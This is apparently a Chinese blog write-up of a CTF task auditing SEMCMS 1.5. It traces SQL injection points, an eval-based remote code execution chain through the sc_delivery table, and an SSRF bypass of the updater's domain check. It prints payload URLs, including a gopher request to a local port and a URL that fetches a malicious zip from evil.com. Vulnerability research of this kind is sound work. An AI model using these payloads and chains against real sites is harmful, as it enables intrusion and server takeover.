漏洞挖掘 - SEMCMS1.5
- 前言 -
来自去年安询杯的一道题目,当时好兄弟让我看的,不过由于那会忙着体验生活,就没怎么看,现在补上吧。另外,本文仅供网站管理人员与渗透测试人员学习与交流,任何进行的一切未授权攻击行为与本人无关。
希望该CMS的开发者能够尽早修复
在这个 CMS 中,会有一个除了管理员外对其他用户未知的后台路径👇
由此可以对依据访问权限分为三大类,分别为 不知后台路径(前台) 、 已知后台路径但不知管理员密码(隐藏前台) 以及 已知后台路径且能登录管理员后台(后台) ,这里就对这三大类依次进行分析挖掘。
- 前台 -
- SQL注入 -
- 用户注册/登录/订阅提交/评论提交/结算页面(盲注) -
- 分析 -
罪魁祸首来自没有对 Core/Program/Ant_Contrl.php
文件中的 getIP
函数的调用结果进行过滤,直接来看 getIP
函数👇
其中,在 Core/Program/Ant_Rponse.php
文件中,有关 用户注册 、 用户登录 、 订阅提交 、评论提交 以及 结算页面 都直接将调用 getIP
函数的结果进行数据库操作。
用户注册
👇
用户登录
👇
订阅提交
👇
评论提交
👇
结算页面
👇
当然,应该还有其他地方调用了 getIP
函数,不过就不一一列出了。
同时如果跟进 AntAdd
和 AntEdit
函数,可以发现并没有对传入的参数进行操作,而是直接拼接到SQL语句中👇
- 证明 -
那么这里以用户登录为例,先随意注册一个用户👇
成功注册用户👇
然后退出登录,并在登录时更改 client-ip
标头内容👇
显然 sleep
是成功被执行了,因此确实是存在盲注的。
- 扩展 -
另外,由于在用户注册时候可以进行SQL语句拼接,所以来点 CTF 后遗症罢,可以依靠二次数据插入来进行变相回显注入,比如👇
此时可以看一下数据库内容👇
使用这个新用户登录👇
可以显式地得到数据的信息。
- 用户地址管理(盲注) -
- 分析 -
在 Core/Program/Ant_Rponse.php
文件中,漏洞原因是对用户地址进行 edit
功能时,没有仅仅对传入的 $_GET
内容进行了过滤,并没有对用户传入的 $_POST['ID']
进行操作👇
同样的,在 AntEditAddress
函数中并没有对传入的参数进行任何操作👇
- 证明 -
还是先登录账号,然后随便新建一个地址👇
然后选择刚刚新建的地址并点击进入编辑👇
之后就是抓包改内容👇
此时就可以通过更改 $_POST['ID']
的值进行盲注了。
- 订阅提交(盲注) -
- 分析 -
漏洞点在 Core/Program/Ant_Rponse.php
文件中,原因是没有对 $_POST['e_coucode']
和 $_POST['e_couid']
进行处理👇
跟进 CheckDatas
函数👇
依然是没有对传入的参数进行处理就拼接到了SQL语句中,因此就存在一个盲注。
- 证明 -
由于这个功能并没有验证用户的登陆状态,其实直接上 burp 找到对应的路由就好了,不必找真正的页面👇
可以看到 sleep
是成功的被执行了。
- 隐藏前台 -
- 补充 -
由于这里的部分是属于 已知后台路径但不知管理员密码(隐藏前台) ,因此是过不了管理员登录认证的,一旦某个文件拥有 <?php include_once 'Ant_head.php';?>
这一句代码就可以跳过了。
因为在 Ant_head.php
文件有以下函数调用👇
跟进 CheckUser
函数可以发现存在对管理员登录的认证👇
由此在隐藏目录中,能够访问的页面有以下:
6gnGtg_Ali/Ant.php
6gnGtg_Ali/Ant_Ajax.php
6gnGtg_Ali/Ant_Config.php
6gnGtg_Ali/Ant_Curl.php
6gnGtg_Ali/Ant_Function.php
6gnGtg_Ali/Ant_Inc.php
6gnGtg_Ali/Ant_left.php
6gnGtg_Ali/Ant_mid.php
6gnGtg_Ali/Ant_Outdata.php
6gnGtg_Ali/Ant_Response.php
6gnGtg_Ali/index.php
- RCE -
- 分析 -
能够造成任意代码执行的漏洞点在 Core/Program/Ant_Shop.php
文件的 CheckExpress
函数中,当进行查询物流及费用计算时,会对从 sc_delivery
表中取出的内容进行 eval
调用👇
显然要能够执行想要执行的代码,这个有关物流信息的 sc_delivery
表就必须可控,而在 6gnGtg_Ali/Ant_Response.php
文件中是存在对其中任意一个表进行任意操作的👇
此时也就可以基本说是能够随意操控任意一个表的内容了,简单说来整个 RCE 的流程为👇
通过可操作任意表内容的功能构造好合适内容放到sc_delivery表中
调用CheckExpress函数取出先前构造好的数据库内容实现RCE
那么先来看如何对任意表进行任意内容的构造,由于在 6gnGtg_Ali/Ant_Response.php
文件中并没有数据库信息的配置,也就是说需要事先对 Core/Program/db_con.php
文件进行一个包含,而在 6gnGtg_Ali/Ant_Inc.php
文件就刚好解决了这个问题👇
因此就可以由 6gnGtg_Ali/Ant_Inc.php
文件作为入口在 6gnGtg_Ali/Ant_Response.php
文件中对任意数据库进行一个任意操作。
接着再看如何调用最为关键的 CheckExpress
函数,那么来到 Core/Program/Ant_Rponse.php
文件中,可以看到当传入的 $_GET['actions']
值为 CheckOutOrder
且用户状态为已登录时,就可以有可能对 CheckExpress
函数进行一个调用👇
现在不妨重新理一下完整的 RCE 思路👇
注册一个用户
登录用户以便获得$UID
由6gnGtg_Ali/Ant_Inc.php作为入口点通过6gnGtg_Ali/Ant_Response.php将合适内容插入到sc_delivery表的对应字段中
访问Core/Program/Ant_Rponse.php并带上相应的参数,触发调用CheckExpress函数达成RCE
- 证明 -
由于前面已经注册用户了,这里就不进行用户注册,而是登录前面注册好的用户👇
然后构造合适的数据由 6gnGtg_Ali/Ant_Inc.php
作为入口点插入 sc_delivery
表👇
接着访问 Core/Program/Ant_Rponse.php
👇
此时也就可以进行 RCE 了。
- SSRF -
- 分析 -
漏洞点在 6gnGtg_Ali/Ant_Curl.php
文件中,其中对传入的 $_GET['url']
的处理存在漏洞👇
由于判断逻辑为 if(strpos($dname[2],'sem-cms.cn') !== false)
,而 $dname
来自 $dname=explode("/", $_GET['url']);
,仅仅是判断了 ?://[判断部分]
中必须包含 sem-cms.cn
内容,那么假若 $_GET['url']
构造成 gopher://sem-cms.cn:1@127.0.0.1:7000/...
也会是合法的。
那么不妨将 $url
构造成 gopher://sem-cms.cn:1@127.0.0.1:7000/_[SSRF SUCCESS]
,再接着往下看👇
注意一下此时传入 getFile
函数的参数👇
$url = gopher://sem-cms.cn:1@127.0.0.1:7000/_[SSRF SUCCESS]
$save_dir = ../Soft/Zip/
$filename = _[SSRF SUCCESS]
$type = 1
继续跟进 getFile
函数👇
此时 gopher://sem-cms.cn:1@127.0.0.1:7000/_[SSRF SUCCESS]
就会被 curl
。
- 证明 -
先监听 7000
端口,然后传入相关参数就好了👇
显然是成功利用 gopher
向本地的 7000
端口发送了信息。
- 扩展 -
由于这个功能本意是从官网上下载更新代码👇
所以可以通过 http://sem-cms.cn:1@evil.com/evil.zip
从远程服务器上将还有恶意代码的 zip
文件下载解压。
首先将存在恶意代码的文件打包👇
随意起一个远程服务器👇
使用 http://sem-cms.cn:1@127.0.0.1:2331/evil.zip
更新恶意压缩包👇
访问对应的文件👇
成功地将存在恶意代码的文件解压出来。
- 后台 -
- SQL注入 -
- 分析 -
漏洞点存在多个文件中,影响文件如下:
6gnGtg_Ali/Ant_Info.php
6gnGtg_Ali/Ant_M_Contry.php
6gnGtg_Ali/Ant_M_Member.php
6gnGtg_Ali/Ant_M_Order.php
6gnGtg_Ali/Ant_Plist.php
6gnGtg_Ali/Ant_Pro.php
主要原理以 6gnGtg_Ali/Ant_Info.php
文件为例,在这里并没有对 $_REQUEST["info_cat"]
和 $_REQUEST["skey"]
传入值进行处理,虽然本身自动对 $_GET
都进行了处理仍然可以从 $_POST
传入以绕过对 $_GET
的处理👇
接着就直接将拼好的语句放到SQL中查询,期间也并没有进行任何处理👇
可以看到两条查询语句都是存在注入的,但第二条会遍历查询结果把每一条记录显示出来,不妨以第二条作为注入核心进行回显注入。
其他文件也是同样的原理。
6gnGtg_Ali/Ant_M_Contry.php
文件👇
6gnGtg_Ali/Ant_M_Member.php
文件👇
6gnGtg_Ali/Ant_M_Order.php
文件👇
6gnGtg_Ali/Ant_Plist.php
文件👇
其中在 ProCatId
函数中其实就存在注入了👇
6gnGtg_Ali/Ant_Pro.php
文件👇
以上这些文件都可以从 $_POST
传入注入内容以绕过本身对 $_GET
参数的过滤。
- 证明 -
以 6gnGtg_Ali/Ant_Info.php
为例,直接从 $_POST
传入联合查询注入参数绕过 $_GET
的参数处理即可👇
成功地将数据回显注入出来了。
- 总结 -
以上这些应该只是这个 CMS 的部分漏洞,可能还有一些没有提到,总之让人感觉就那种,属于挖的特别爽就是了0.0。另外,再提一下,本文仅供网站管理人员与渗透测试人员学习与交流,任何进行的一切未授权攻击行为与本人无关。
如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。也欢迎您共享此博客,以便更多人可以参与。如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。谢谢 !